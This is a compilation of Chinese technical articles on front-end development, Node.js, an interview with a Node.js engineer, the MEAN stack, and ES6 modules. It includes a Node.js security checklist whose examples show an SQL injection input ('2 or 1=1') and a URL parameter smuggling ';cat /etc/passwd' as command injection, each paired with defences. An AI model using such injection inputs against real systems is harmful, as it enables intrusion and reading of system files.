这里会有一些新的展望，不仅是对我自己，也是对所有人，当你在考虑性能问题时，也许没必要把自己完全限定在浏览器范围内。所以，这又让我想起了……


Node


听说你懂 Javascript，那么我觉得你也应该懂 Node，至少在遇到 Node 问题是能帮得上忙的，如果连忙都帮不上，那也至少深入研究一下吧：Node 的文件系统，流，服务器，完全不同于前端的一些开发模式等等。对后端敬而远之只会限制我们前端的发展潜力。


即使你的真实生产环境中后端不用 Node，当你的工作被后端限制或阻碍的时候，Node 也是一个非常有用的工具。最起码，你也应该熟悉怎么去初始化一个 Node 项目，怎么用 Express 搭建服务器设置路由，怎么使用请求模块代理请求。


最后


感谢 Paul, Alex, Adam, Ralph 对本文的 Review，感谢他们毫不吝啬的指出我的不足之处，并给我提了很好的意见。


就这样，祝你好运。也许，三年之后我们会再见。


原文链接: A Baseline for Front-End ‘JS’ Developers: 2015


 [ 前端实习日记 ] 构建静态页面基础架构

作者：kraaas

来源： [ 前端实习日记 ] 构建静态页面基础架构



                    

  以前我们敲静态页面都是写好html，css, js，然后再去刷新浏览器，艾尼马又不行，有重新写过再刷新，一个页面下来按chrl+r的次数可让你的键盘多活好几天，要不会刷新快捷按钮那不得手残了都。

  后来，grunt,gulp等工具应运而生，当然它们不止这个功能，但却很好地减轻了我们的负担。这篇文章介绍一些如何使用这些工具使构建页面变得简单高效。这只是个人的目前在用的不成熟的方案，更专业的还请参考百度FIS。




1.需要哪些工具？




	工具
  	作用





	nodejs
  	提供执行环境



	
gulp / grunt

  	自动化



	sass
  	css预编译



	compass
  	sass工具库



	bower
  	前端框架/库管理





2.建一个合理的项目目录


项目的目录结构也是很有讲究的，目录结构好的话可能事半功倍，来看看我的目录结构：


+++ Project　　　　　　　　　主目录


　　+++ dist　　　　　　　　　　　发布代码目录

　　　　+++ js　　　　　　　　　　　　产出js

　　　　+++ css　　　　　　　　　　　　产出css

　　　　+++ imgs　　　　　　　　　　　产出images

　　　　+++ libs　　　　　　　　　　　项目以来框架/库

　　　　+++ pages　　　　　　　　　　　产出页面

　　　　

　　+++ src　　　　　　　　　　　生产代码目录

　　　　+++ js　　　　　　　　　　　　　源js

　　　　+++ img　　　　　　　　　　　　　源图片

　　　　+++ sass　　　　　　　　　　　　源css

　　　　+++ pages　　　　　　　　　　　源页面

　　　　+++ public　　　　　　　　　　复用页面

　　　　

+++ node_modules　　　　　　　gulp组件

+++ gulpfile.js　　　　　　　　gulp任务配置

+++ package.json　　　　　　　gulp插件管理


3.这些工具做什么


3.1 ： nodejs

Node 是一个服务器端 JavaScript 解释器，提供模块管理，为后面用到的gulp，grunt，bower等提供了一个执行环境。当然不止这些功能。
3.2 ： sass

提供css预编译，css的函数式编程，方便快捷，有趣。
3.3 ： compass

sass的工具库，相当于js与jquery的关系，compass为sass提供了丰富的插件模块，rest，css3,layout,让你编写sass更加快捷。sass为css提速，compass为sass提速，组合的力量还是蛮大的。
3.4 ： gulp / grunt

gulp和grunt，用过两者之后，我更倾向于gulp，因为gulp配置任务简单，和grunt不是一个量级的。
3.5 ： bower

包依赖管理工具，需要任何框架的时候，我们不必再到网上去下载再使用了，直接使用bower命令即可下载使用，还解决各个库之间的兼容性问题，比如bootstrao3.0需要jquery1.9.1以上的版本，则破环这个关系之后它会智能提醒你。但目前我还只是把它当作下载器，所以目录中并没有bower的管理目录。


4.重点是gulp/grunt


这里就使用gulp举例说明了。


gulp为我们提供了丰富的组件，那我们构建页面会需要哪些组件：


browser-sync ：功能强大，配置gulp服务器，自动刷新
gulp-sass ：编译sass
gulp-file-include ：使静态页面具有文件访问能力，实现页面模块复用
gulp-rename ：文件重命名
gulp-concat ：文件合并
gulp-uglify ：文件压缩
gulp-imagemin ：图片压缩


不完全，不详细，仅供记录，具体请点击文章各个连接学习。


  朴灵：打破限制，从前端到全栈

作者：图灵访谈

来源：  朴灵：打破限制，从前端到全栈



                    

  非商业转载请注明作译者、出处，并保留本文的原始链接：http://www.ituring.com.cn/article/197773




朴灵，真名田永强，文艺型码农，Node.js布道者。现就职于阿里巴巴数据平台，任资深工程师，著有《深入浅出Node.js》。他活跃于CNode社区，是线下会议NodeParty的组织者，同时也是JSConf China（沪JS、京JS，以及杭JS）的组织者之一。朴灵热爱开源，是多个Node.js模块的作者，个人GitHub地址：http://github.com/JacksonTian。叩首问路，码梦为生。





从前端到全栈



  “当时我们团队的Leader不会去限制工程师做什么事情，而是说这件事是你在负责，所以你就要从前做到后。”




问：你从什么时候开始编程的？


我高二的时候才刚刚接触互联网，那时候看别人搭一个BBS我心里就特别崇拜，我很好奇这个过程是怎么实现的。以前有一个叫“中国博客网”的网站，上面提供了可以自己编辑模板的功能。在那个年代，脚本特效很流行，我经常把代码拷到那个模板里面去，测试效果。后来上大学之后我才知道，这个论坛的构建者其实就是利用了一个类似于Discuz的系统，搭这个网站并没有想象中那么复杂。


问：听说你在大学学的是Java，在这过程中你的兴趣点有没有转移？


学校教了很多东西，但是我的重心一直放在前端技术上。虽然学校教了C和C++这样的语言，但是教了之后也不告诉我们这个东西到底有什么用，所以我当时仍然痴迷于网页。工作几年以后才发现学校教的东西很有用，所以现在再回去补。


问：你是怎么变成所谓的全栈工程师的？是你自己的兴趣使然还是工作环境给了你这样一个机会？


我一般不说我是全栈工程师（笑）。我刚进大学的时候，目标其实很明确，就是想看看那些JS特效是怎么实现的。2009年毕业之后我开始工作，就侧重去做前端。那时候前端也才刚刚兴起，后来我就成了一个真正的前端工程师。


去了淘宝之后，我碰到了Node.js这样一个我很感兴趣的东西，我用了两年时间完成了从前端工程师到全栈工程师的演变。我的个人习惯就是，如果我对什么感兴趣，就会在这块投入精力去研究。所以通过这一两年的学习，我已经可以完成所谓的后端的工作了。当时我们那个团队由空无和玄澄带领，他们不会去限制工程师做什么事，而是说这件事情是你在负责，所以你就要从前做到后。


问：在你看来全栈意味着什么？你在QCon大会上主持了这个专题之后有没有带给你一些新的思考？


以前我认为全栈就是一个开发者能力的提升。如果你在某个领域非常专，有一个点很擅长，这时候别人才称你是专家；如果你有多个点比较擅长，那别人才有可能称你是全栈工程师。另外，责任也很重要。一个人不再只是负责在前端写CSS，也不只是在大工程里面做一小块东西，而是有了一个全局的视野。我以前对于全栈工程师的理解可能就是集中在工程师个人能力以及责任这两点上，通过主持Qcon的全栈工程师专题，我觉得还有一点，就是环境对全栈的影响。


个人能力是不太好复制的，有的工程师能力强，有的工程师能力没那么强，这种情况下你对能力稍微弱一点的工程师做这种要求，是很难达到目标的。Coding的分享给我带来了这个想法：基础设施建设对全栈的影响也是很大的。如果你不能帮助一个工程师成长，那就应该在环境上做出改变，你要去打造适合这样的人才成长的环境才行，这样才是正向循环。


问：淘宝现在使用Node.js的范围有没有扩大，主站有没有在用？


主站也有在用。现在几乎每个BU都在用Node做尝试，不管它做的是大系统还是小系统。我看到有很多团队尝到了甜头，但我也看到有很多团队不愿做改变，不愿去尝试新技术。


问：方便说一下你现在的工作内容是什么吗？


我最近半年在社区都不怎么活跃，是因为我做的内容刚刚开始，现在才有了一些进展，将来我们有计划把我们做的东西对外产品化。我现在的主要工作就是改Node.js和V8。在Node.js上改动我会直接接到Io.js的仓库里面，现在已经提了很多。


我可以举个例子解释一下我们现在做的事情。在Node.js社区上有一些性能调优的工具，比如Chrome上有个CPU调优工具，它可以帮你找出哪段代码运行得比较慢。我们在这个基础上做了更多的工作，我们做的这个性能调优的工具不仅要知道慢，还要知道为什么慢。用我的工具扫过之后，我就知道怎么去改，其实现在我打的很多补丁都是通过这个工具发现的。造成性能慢的原因可能有很多，我们尽量去发掘这些问题。


另外一件我在做的事情就是帮助公司内的一些Node开发者。比如，这些开发者可能做业务开发时没有什么问题，但是运维或者运行的时候就会出现问题。我们工作几年来，并没有因为使用Node.js而造成什么故障，高手写代码不太容易出现问题。但是对于每个工程师来说要求是不一样的，我现在的工作重点就是：出问题的时候能够马上解决。线上代码慢的原因是什么，为什么会有内存泄露，我们做了一些工具来解决这件事。


虽然用一个新技术的时候可能感觉很爽，但是这个技术会带来什么后果或者副作用，可能对于很多人来说都是没底的。为了让阿里的技术环境能够更健康地发展，我们的工作就是要让大家知道，我们不怕这样的问题出现，能出现我们也能解决。现在我们努力在公司以内创造更好的环境，在未来我们有计划把这些东西推出来，希望国内其他用Node.js的公司也能从我们的工作中得到一些好处，独乐乐不如众乐乐。我们希望自己能够做更多的事情，有朝一日能成为Io.js或者Node.js项目里面的核心贡献者，然后去影响它。


问：淘宝UED正在实践前后端分离，应该也有其他团队在做类似的事情，你怎么看？


我个人没有直接参与这样的事情。我觉得前后端分离是否能完成的核心在于服务化的程度。如果系统都是面向服务去设计的，那么在这个过程中解耦可能很容易完成。所以当你真正做一个前端应用层的东西时，就不需要Java的同学来参与帮你写模板，而这个应用层可能是跟业务相关的。


这里的一个概念就是产品应该有两个部分：一个部分是系统层，另一个部分是应用层。应用层的需求可能天天变，但是这种改动基本上不怎么影响底层系统的稳定性。系统层应该是趋向于稳定的，除非业务模型上有一些大的变化的时候才会去改动。而平常的日常迭代，也就是应用层，会有频繁的发布和改动。


如果把两层东西都混在一起的话，整个系统就会很庞大，界限不清晰。后端的人会干预前端的东西，前端有需求的时候可能后端的同学也不能理解。在这过程中我觉得可以把应用层独立出来，让前端的同学能够在中间有一个缓冲地带，既能适应应用层的频繁发布和需求改动，又能让后端稳定。


问：JavaScript有很多框架和库，对于初级学习者来说，怎么能在这些资源中选择适合自己的来创建个人技术栈？


我觉得JavaScript最核心、最源头的东西就是它的规范。当然，如果你纯粹去读规范的话也没有什么目的性，但那是一个核心。当你遇到困惑的时候就不妨去规范上找一找，通常你都能找到答案。这对于我来说是核武器一样的东西，一般不能用的（笑）。


另外，ECMAScript不算是纯粹的API，它定义的实现就不能更改，对于那些没定义的实现，你要去看那些API是怎么去做的。我基本上主要靠这两个东西。


他眼中的Node



  “有一个圈子，有一个社区，其实你会收获很多东西。"




问：能不能简要介绍一下Node生态环境的发展现状？


这个话题其实我已经很久不再提了，因为现状已经太好了。前几年的时候模块有几个了、有几千个了，然后过了一年这个数字就上万了，再过一年就蹦到十万以上了。


我是蛮喜欢这样一个形态的，在跨过一个相对比较低的起点之后，大家可能都有能力来完成一个模块。但是，每个工程师的能力有强有弱，每个人的意识都是不同的，所以这个生态环境又是特别真实的。这里面的东西多，水平参差不齐，但你会发现在很多情况下，如果一个模块是活跃的，它就一直是活跃的；如果它的质量不好，它就永远都是质量不好的。说不定几年以后，你会发现越来越多的模块都是以不断迭代更新的状态生存的，总是有最好的模块来适应当下最需要的事情。


问：我之前听你在采访里说，你当时推广Node的初衷是因为你看到国内外对Node的理解存在很大差距，现在还有没有这种差距？


现在还是有。我觉得最大的差距就是在国内推一个技术的时候，总会有很多人来黑。这些人可能也没有什么前提，不管怎么样，就是嘴巴爽了再说。另外，国内外环境还有一个差距，就是在国内大家主动刷新自己知识的能力还不是太强。你会发现有一些工程师可能已经能完成当前的工作了，但是他在持续学习上可能不会投入太多。


问：你认为前端工程师和后端工程师谁更应该学习Node.js？谁学习Node获益会更多？


其实无论什么工程师学习Node都可以有收获，但是我觉得前端工程师的收获会更大。


为什么要有前端这个工种？我不知道国外是不是这样，但是国内很多人会说前端工程师就是写HTML和CSS的，这种工作就像流水线一样，已经被限定在一个划定的圈里面去发展。当前端工程师发展到某一个阶段的时候，他会发现这个圈子对他是一个限制。我觉得前端工程师需要打破这个圈子，打破之后就会发现更开阔的视野。当我们想要解决一个问题的时候，就不只是再用已有的熟悉的办法来解决，而是发现视野以外的、能够更好地解决问题的方法。反过来说，如果你总是不想去了解服务器端的一些技术，总是用前端的方法来解决问题，那成本可能很高，做出来的方案也可能不理想。


前后端有Node.js连接以后，你就会发现自己的工具链已经完成了一次革命。很多工程师可能会用Java或Ruby来写一些工具，但是前端工程师不熟悉Java，也不熟悉Ruby，他要去完成目标的时候就会特别困难。现在Node.js出来以后，你就发现很多工具直接用Node.js就可以写了，比如说CoffeScript，还有一些像LESS，Sass之类的工具。前端工程师用自己熟悉的东西就能够改良自己的工具，这是第一步。改良工具以后视野就会放开，你会发现还有很多其他东西可以放手去做。


问：你怎么看LinkedIn放弃Node和Scala？


做任何一件事情都会有最适合的方法。我觉得像LinkedIn这么大的系统，其实是一种很复杂、很复合的模式。我们在淘宝推广Node.js的时候，也不可能去用Node把那些最底层最核心的东西替换掉，这是不现实的。如果说在某个系统里面，Node.js不能胜任某些工作，那就不要用它好了。


据说LinkedIn也并没有完全放弃Node，只是某一部分弃用。我觉得Node.js是有它擅长的地方的，只要能够在适合的地方去用好就行了。


问：Io.js和Node.js分离开来，是因为Node更新太慢造成的吗？


大部分原因可能在于，虽然Joyent公司高管对这个项目还算重视，但是他们对开发进度没有实质的帮助。


从2014年7月份开始转岗以后，我的工作重点就是Node.js的内核，所以我对Node.js和Io.js的提交列表和PR都是比较熟悉的。我发现当我提交一个补丁上去的时候，在Node.js下面的处理速度特别慢。我刚进去的时候看到的PR列表大概只有两百多个，现在Io.js分出去以后PR列表更长了。那些在这个项目上做贡献的人，基本上80%已经不在这家公司了。所以现在出力的人并不是来自这家公司，而是社区的一些开发者。如果这家公司只想享受商标带来的好处，贡献者们就不会同意，所以他们就独立出来了。


目前来说我自己是比较喜欢Io.js这个项目的。我跟他们提一个问题上去，很快就会有反应。他们的态度也更开放，就是说不管你的贡献是大是小，只要对这个项目有好处的，他们都会接受。并且他们对新事物的接受速度也更快，比如现在Node.js的V8版本处于3.2，而Io.js里面的V8已经是4.2了。如果更新慢的话，ES6的一些特性就没办法引进来。因为Io.js中有这些新的特性，所以开发者就更愿意进入这个项目。


但是Io.js也给我造成了一些困扰。以前一个版本发布至少也要一两个月，但是现在的版本发布速度已经是以周为单位的了，几乎每周都能出一版。他们更新速度太快逼着我要去做很多工作，需要不停地打版本。话说回来，实际上企业内部升级版本的速度要求不是太快，升级一个大版本以后，如果不需要接下来小版本的功能，就可以先忍忍。


问：你觉得Node阵营的分裂是一件好事吗？


我觉得是好事。我记得很久以前就有人特别想给Node.js的异步IO全部加上Promise，如果不分裂，这件事情永远不可能。虽然现在的Io.js也不能完成这件事，但是只有分裂才有更多的可能性，才能产生更好的东西。


问：很多大公司比如Paypal，从Java转换到Node.js非常成功，在后端Node.js会取代Java吗？


不太可能，Node.js还是在应用层上更有优势。无论是我们在系统层所做的尝试，还是现在已有的案例，都没有能够证明Node.js能够取代Java。我举个简单的例子，现在没有人能拿Node.js来完成缓存或者涉及到集群的大计算，但是Java已经能够做到了。


但是Node.js在应用层上是有优势的，它的最初设计目的就是要优化IO和CPU的关系。以前的IO都是要阻塞CPU计算的，Node把所有IO相关的东西全部从主线程上剥离以后，主线程就变得比较高效。而我们在Java里面去实现异步是比较麻烦的，可能需要启用多线程。虽然Java也有框架去做这件事，但是对已有的开发者来说，由于他们对原有的模式已经很熟悉，所以不会愿意去做改变。应用层就应该能够快速运行并且面向很多系统。我可以用Node.js快速地开发，调用各个系统。


问：刚才你也提到，有些人认为Node.js在设计上最大的失败就是它的API是基于Callback，而不是基于Promise的，你同意吗？


当时的情况就是那样，ES6没有出来，Generator也没有出来，如果让Node.js创始人Ryan Dahl去做这件事，他不仅要去改上层的东西，还要去改JavaScript。但是现在的情况已经有变化了， ES6已经出来了，它里面有一个东西叫Generator，运行过程中我们让程序调用栈停下来，然后在某个时间再重新把它唤起来。新的框架Koa就能够利用好这个特性，写程序的时候你会发现程序已经顺序执行了，但是背后的实质还是异步。我觉得这些变化将来可能会慢慢影响Node.js本身的设计，甚至将来Io.js的API可能也会慢慢去改。


另外，之所以当时会有Callback这样的设计，就是因为当时的Callback特别适合异步调用。这样做的原因也跟当时选JavaScript有很大的关系。Ryan Dahl去调研过Java、Ruby之类的语言，他发现这些语言提供的API有很重的历史负担。这时候如果给开发者提供新的API，大家也不会去用，因为这会改变他们的思维模式。他在设计这个模型的过程中，发现事件循环里面有阻塞IO的话就会导致效率急剧下降。而JavaScript特别适合完成这项工作，它不主动提供同步的API给你，所以阻塞的方式就不存在。


问：今年你还会不会举办京JS或者杭JS？


今年举办的会叫深JS。我们今年没有主动去办会，而是由之前我们的一个合作方去承接了这件事。他们是上海的一家外企，对JS社区有比较高的热情，过去三年举办的会他们都帮助我们做了很多事情，这次交给他们办也是顺理成章的。


问：以后你还会再举办这样的活动吗？你在这几次办会的过程中遇到过什么困难？


我们以后不排除仍然会举办这样的活动。有一次在北京办会，我们三个人都身在外地，所有的事情都是通过远程操作，在外地办会感到资源上的限制。另外的一个困难在于沟通，比如怎么去邀请国外的讲师或者跟我们国外的主办方沟通，中西方的文化差异会造成一些困扰。


我觉得办会最重要的还是内容，对内容的挑选和审核，讲师怎么邀请，主题要怎么规划。不能某个主题今年讲，明年讲，后年讲，有的公司可能出于商业目的有这样的需求，但有些东西是不能去妥协的。


问：纵然有这么多困难，但是你还是一直在坚持做这件事，举办这样的活动对社区来说最大的收获是什么？


其实在办活动这件事上，我有一个老师叫周裕波，我在上海工作的时候就遇到过他，他经常会办一些前端的活动。对于个人开发者而言，他们很少愿意主动出来组织这些活动，但周裕波做到了，我觉得我应该也能为Node做一些事情。当时我看到Node没有这样的氛围，国内的很多开发者都不愿意出来，当时的社区也关注不到这个东西，所以我就办了很多次NodeParty。


这个过程其实收益还是很多的。首先我对这个社区更加了解了，跟很多高手都很熟悉。另外，我接触了很多赞助商，各种资源其实都是大家互相需要的。没做过这件事的人可能会觉得非常难，但做了以后你会发现没有想象中那么难。因为你总是会得到一些帮助，来自各个方面的帮助，你在经济上也没有什么损失，还会结交一些的朋友。有一个圈子，有一个社区，其实你会收获很多东西。
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前言

安全性，总是一个不可忽视的问题。许多人都承认这点，但是却很少有人真的认真地对待它。所以我们列出了这个清单，让你在将你的应用部署到生产环境来给千万用户使用之前，做一个安全检查。

以下列出的安全项，大多都具有普适性，适用于除了Node.js外的各种语言和框架。但是，其中也包含一些用Node.js写的小工具。

配置管理

安全性相关的HTTP头

以下是一些安全性相关的HTTP头，你的站点应该设置它们：


	Strict-Transport-Security：强制使用安全连接（SSL/TLS之上的HTTPS）来连接到服务器。


	X-Frame-Options：提供对于“点击劫持”的保护。


	X-XSS-Protection：开启大多现代浏览器内建的对于跨站脚本攻击（XSS）的过滤功能。


	X-Content-Type-Options： 防止浏览器使用MIME-sniffing来确定响应的类型，转而使用明确的content-type来确定。


	Content-Security-Policy：防止受到跨站脚本攻击以及其他跨站注入攻击。




在Node.js中，这些都可以通过使用Helmet模块轻松设置完毕：

var express = require('express');  
var helmet = require('helmet');

var app = express();

app.use(helmet());  

Helmet在Koa中也能使用：koa-helmet。

当然，在许多的架构中，这些头会在Web服务器(Apache，nginx)的配置中设置，而不是在应用的代码中。如果是通过nginx配置，配置文件会类似于如下例子：

# nginx.conf

add_header X-Frame-Options SAMEORIGIN;  
add_header X-Content-Type-Options nosniff;  
add_header X-XSS-Protection "1; mode=block";  
add_header Content-Security-Policy "default-src 'self'";  

完整的例子可以参考这个nginx配置。

如果你想快速确认你的网站是否都设置这些HTTP头，你可以通过这个网站在线检查：http://cyh.herokuapp.com/cyh 。

客户端的敏感数据

当部署前端应用时，确保不要在代码中暴露如密钥这样的敏感数据，这将可以被所有人看到。

现今并没有什么自动化检测它们的办法，但是还是有一些手段可以用来减少不小心将敏感数据暴露在客户端的概率：


	使用pull request更新代码


	建立起code review机制




身份认证

对于暴力破解的保护

暴力破解即系统地列举所有可能的结果，并逐一尝试，来找到正确答案。在web应用中，用户登陆就特别适合它发挥。

你可以通过限制用户的连接频率来防止这类的攻击。在Node.js中，你可以使用ratelimiter包。

var email = req.body.email;  
var limit = new Limiter({ id: email, db: db });

limit.get(function(err, limit) {

});

当然，你可以将它封装成一个中间件以供你的应用使用。Express和Koa都已经有现成的不错的中间件：

var ratelimit = require('koa-ratelimit');  
var redis = require('redis');  
var koa = require('koa');  
var app = koa();

var emailBasedRatelimit = ratelimit({  
  db: redis.createClient(),
  duration: 60000,
  max: 10,
  id: function (context) {
    return context.body.email;
  }
});

var ipBasedRatelimit = ratelimit({  
  db: redis.createClient(),
  duration: 60000,
  max: 10,
  id: function (context) {
    return context.ip;
  }
});

app.post('/login', ipBasedRatelimit, emailBasedRatelimit, handleLogin);  

这里我们所做的，就是限制了在一段给定时间内，用户可以尝试登陆的次数 -- 这减少用户密码被暴力破解的风险。以上例子中的选项都是可以根据你的实际情景所改变的，所以不要简单的复制粘贴它们。。

如果你想要测试你的服务在这些场景下的表现，你可以使用hydra。

Session管理

对于cookie的安全使用，其重要性是不言而喻的。特别是对于动态的web应用，在如HTTP这样的无状态协议的之上，它们需要使用cookie来维持状态。

Cookie标示

以下是一个每个cookie可以设置的属性的列表，以及它们的含义：


	secure - 这个属性告诉浏览器，仅在请求是通过HTTPS传输时，才传递cookie。


	HttpOnly - 设置这个属性将禁止javascript脚本获取到这个cookie，这可以用来帮助防止跨站脚本攻击。




Cookie域


	domain - 这个属性用来比较请求URL中服务端的域名。如果域名匹配成功，或这是其子域名，则继续检查path属性。


	path - 除了域名，cookie可用的URL路径也可以被指定。当域名和路径都匹配时，cookie才会随请求发送。


	expires - 这个属性用来设置持久化的cookie，当设置了它之后，cookie在指定的时间到达之前都不会过期。




在Node.js中，你可以使用cookies包来轻松创建cookie。但是，它是较底层的。在创建应用时，你可能更像使用它的一些封装，如cookie-session 。

var cookieSession = require('cookie-session');  
var express = require('express');

var app = express();

app.use(cookieSession({  
  name: 'session',
  keys: [
    process.env.COOKIE_KEY1,
    process.env.COOKIE_KEY2
  ]
}));

app.use(function (req, res, next) {  
  var n = req.session.views || 0;
  req.session.views = n++;
  res.end(n + ' views');
});

app.listen(3000);  

(以上例子取自cookie-session模块的文档)

CSRF

跨站请求伪造（CSRF）是一种迫使用户在他们已登录的web应用中，执行一个并非他们原意的操作的攻击手段。这种攻击常常用于那些会改变用户的状态的请求，通常它们并不窃取数据，因为攻击者并不能看到响应的内容。

在Node.js中，你可以使用csrf模块来缓和这种攻击。它同样是非常底层的，你可能更喜欢使用如csurf这样的Express中间件。

在路由层，可以会有如下代码：

var cookieParser = require('cookie-parser');  
var csrf = require('csurf');  
var bodyParser = require('body-parser');  
var express = require('express');

// setup route middlewares 
var csrfProtection = csrf({ cookie: true });  
var parseForm = bodyParser.urlencoded({ extended: false });

// create express app 
var app = express();

// we need this because "cookie" is true in csrfProtection 
app.use(cookieParser());

app.get('/form', csrfProtection, function(req, res) {  
  // pass the csrfToken to the view 
  res.render('send', { csrfToken: req.csrfToken() });
});

app.post('/process', parseForm, csrfProtection, function(req, res) {  
  res.send('data is being processed');
});

在展示层，你需要使用CSRF token：

<form action="/process" method="POST">  
  <input type="hidden" name="_csrf" value="{{csrfToken}}">

  Favorite color: <input type="text" name="favoriteColor">
  <button type="submit">Submit</button>
</form>  

(以上例子取自csurf模块的文档)

数据合法性

XSS

以下是两种类似的，但是略有不同的攻击方式，一种关于跨站脚本，而另一种则关于存储。


	非持久化的XSS攻击 在攻击者向指定的URL的响应HTML中注入可执行的JavaScript代码时发生。


	持久化的XSS攻击 在应用存储未经过滤的用户输入时发生。用户输入的代码会在你的应用环境下执行。




为了防御这类攻击，请确保你总是检查并过滤了用户的输入内容。

SQL注入

在用户的输入中包含部分或完整的SQL查询语句时，SQL注入就有可能发生。它可能会读取敏感数据，或是直接删除数据。

例如：

select title, author from books where id=$id  

以上这个例子中，$id来自于用户输入。用户输入2 or 1=1也可以。这个查询可能会变成：

select title, author from books where id=2 or 1=1  

最简单的预防方法则是使用参数化查询（parameterized queries）或预处理语句（prepared statements）。

如果你正在通过Node.js使用PostgreSQL。那么你可以使用node-postgres模块，来创建参数化查询：

var q = 'SELECT name FROM books WHERE id = $1';  
client.query(q, ['3'], function(err, result) {});  

命令注入

攻击者使用命令注入来在远程web服务器中运行系统命令。通过命令注入，攻击者甚至可以取得系统的密码。

实践中，如果你有一个URL：

https://example.com/downloads?file=user1.txt  

它可以变成：

https://example.com/downloads?file=%3Bcat%20/etc/passwd  

在这个例子中，%3B会变成一个分号。所以将会运行多条系统命令。

为了预防这类攻击，请确保总是检查过滤了用户的输入内容。

我们也可以以Node.js的角度来说：

child_process.exec('ls', function (err, data) {  
    console.log(data);
});

在child_process.exec的底层，它调用了/bin/sh，所以它是一个bash解释器，而不仅仅是只能执行用户程序。

当用户的输入是一个反引号或$()时，将它们传入这个方法就很危险了。

可以通过使用child_process.execFile来解决上面这个问题。

安全传输

SSL版本，算法，键长度

由于HTTP是明文传输的，所以我们需要通过一个SSL/TLS通道来加密，即HTTPS。如今高级别的加密方式已被普遍使用，但是，如果在服务端缺乏配置，也可能会导致服务端使用低级别的加密，或不加密。

你需要测试：


	密码，密钥和重协商（renegotiation）都已经合法妥善得配置完毕。


	证书的合法性。




使用如nmap和sslyze这样的工具可以使这项工作非常简单。

检查证书信息

nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com

使用sslyze来检查SSL/TSL：

./sslyze.py --regular example.com:443

HSTS

在上文的配置管理章节我们已经对其有了接触 - Strict-Transport-Security头会强制使用HTTPS来连接服务器。以下是一个Twitter的例子：

strict-transport-security:max-age=631138519  

这里的max-age定义了浏览器需要自动将所有HTTP请求转换成HTTPS的秒数。

对于它的测试是非常简单的：

curl -s -D- https://twitter.com/ | grep -i Strict  

拒绝服务

账号锁定

账号锁定用于缓和暴力破解带来的拒绝服务方面的影响。实践中，它意味着，当用户尝试了几次登陆并失败后，将在其后的一段内，禁止他的登陆操作。

可以使用之前提到的rate-limiter来阻止这类攻击。

正则表达式

这类攻击主要是由于一些正则表达式，在极端情况下，会变得性能及其糟糕。这些正则被称为恶魔正则（Evil Regexes）：


	对于重复文本进行分组


	
在重复的分组内又有重复内容

([a-zA-Z]+)*， (a+)+ 或 (a|a?)+在如aaaaaaaaaaaaaaaaaaaaaaaa! 这样的输入面前，都是脆弱的。这会引起大量的计算。更多详情可以参考ReDos。





可以使用Node.js工具safe-regex这检测你的正则：

$ node safe.js '(beep|boop)*'
true  
$ node safe.js '(a+){10}'
false  

错误处理

错误码，堆栈信息

一些错误场景可能会导致应用泄露底层的应用架构信息，如：like: X-Powered-By:Express。

堆栈信息可能自己本身并没有什么用，但它经常能泄露一些攻击者非常感兴趣的信息。将堆栈信息返回出来是非常不好的实践。你需要将它们记录在日志中，而不是展示给用户。

NPM

更强的能力意味着更大的责任 - NPM有这许多可以现成使用的包，但是代价是：你需要检查这些包本身是否存在安全问题。

幸运的是Node Security project(nsp)是一个非常棒的工具，来检查你使用的模块是否是易被一些已知的手段攻击的。

npm i nsp -g  
# either audit the shrinkwrap
nsp audit-shrinkwrap  
# or the package.json
nsp audit-package  

最后

这个清单主要根据OWASP维护的Web Application Security Testing Cheat Sheet所列。

原文链接

https://blog.risingstack.com/node-js-security-checklist/


 全栈工程师的武器——MEAN

作者：江小湖Laker

来源： 全栈工程师的武器——MEAN



                    
JavaScript自1995年发布以来，走过了漫长的道路。已经有了几个主要版本的ECMAScript规范，单页Web应用程序也慢慢兴起，还有支持客户端的JavaScript框架。作为一个被绝大多数浏览器支持前台脚本语言，它对浏览器的创新做出了很大的贡献。JavaScript许多很有用的特点（它是无阻塞是，它是事件驱动的，很多程序员熟悉它）可以在浏览器之外的环境中加以利用。这推动了JavaScript社区新一轮的创新，让JavaScript能在服务器和数据库中运行。


一下子，JavaScript工程师认为自己不只是“Web前端开发者”了。如果你对语言很熟悉，就可以自己搭建服务器和数据库。除了交互设计，开发者可以只用JavaScript就能做出一个完整的web应用，这在JavaScript史上是第一次。这种趋势被称为“全栈的JavaScript”或“纯JavaScript的解决方案”。它包含了JavaScript的四种流行技术：MongoDB、Express、AngularJS、和 Node.js。这四种技术越来越流行，它们合称为MEAN Stack。





MongoDB


MongoDB也就是常说的NoSQL数据库。可以认为它是文档结构的数据库，而不是由行、列、表组成的数据库。基本的用法是存储JSON数据，这很适合JavaScript程序。它是非关系型、非事务要求严格的系统，所以它很快、可扩展性和易用性强。


Express


Express是一个小型的web服务器框架，能使Node开发的web服务器更易开发和维护。Express有很高的定制性，它能简单快速地使用路由请求、cookie管理、一个静态文件服务器和很多企业级网络服务器所需要HTTP模块。


AngularJS


Angular是一个功能丰富的客户端MVC JavaScript框架。它可用于开发复杂的单页Web应用程序。它具有内置的双向数据绑定功能和它自己的基于HTML的模板。它有个特性称为“directives”，允许开发者给HTML拓展新属性、新元素。Angular也是高度可测试的，这是很重要的。Angular为开发客户端提供了公约和最佳解决方案。


Node


Node基于JavaScript，用于建立服务器和网络应用。它提供所有JavaScript的特性，并外加文件操作、网络I/O的功能。它使用谷歌的V8引擎（与谷歌浏览器中使用的相同）来执行JavaScript。它拥有很活跃的开发者社区和Node模块生态圈（Express是其中一个模块）。虽有JavaScript有其他实现服务器端的方法，但Node是目前个人级和企业级最好的开发方案。


如果你是JavaScript的粉丝，你应该会对只用JavaScript就能开发一个完整的web应用感到兴奋。MEAN Stack是一个很热门的话题，网上有很多关于学习它们的讨论，可以去尝试学习一下。


英文原文 Full Stack JavaScript Development With MEAN

由SegmentFault整理编译


 ES6 的模块系统

作者：PortWatcher
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此文为翻译，原文地址在这儿：https://hacks.mozilla.org/2015/08/es6-in-depth-modules/

ES6 是 ECMAScript 第 6 版本的简称，这是新一代的 JavaScript 的标准。ES6 in Depth 是关于 ES6 的一系列新特性的介绍。

遥想 2007 年，笔者开始在 Mozilla 的 JavaScript 团队工作的时候，那个时候典型的 JavaScript 程序只有一行代码。

两年之后， Google Map 被发布。但是在那之前不久，JavaScript 的主要用途还是表单验证，当然啦，你的<input onchange=>处理器平均来说只有一行。

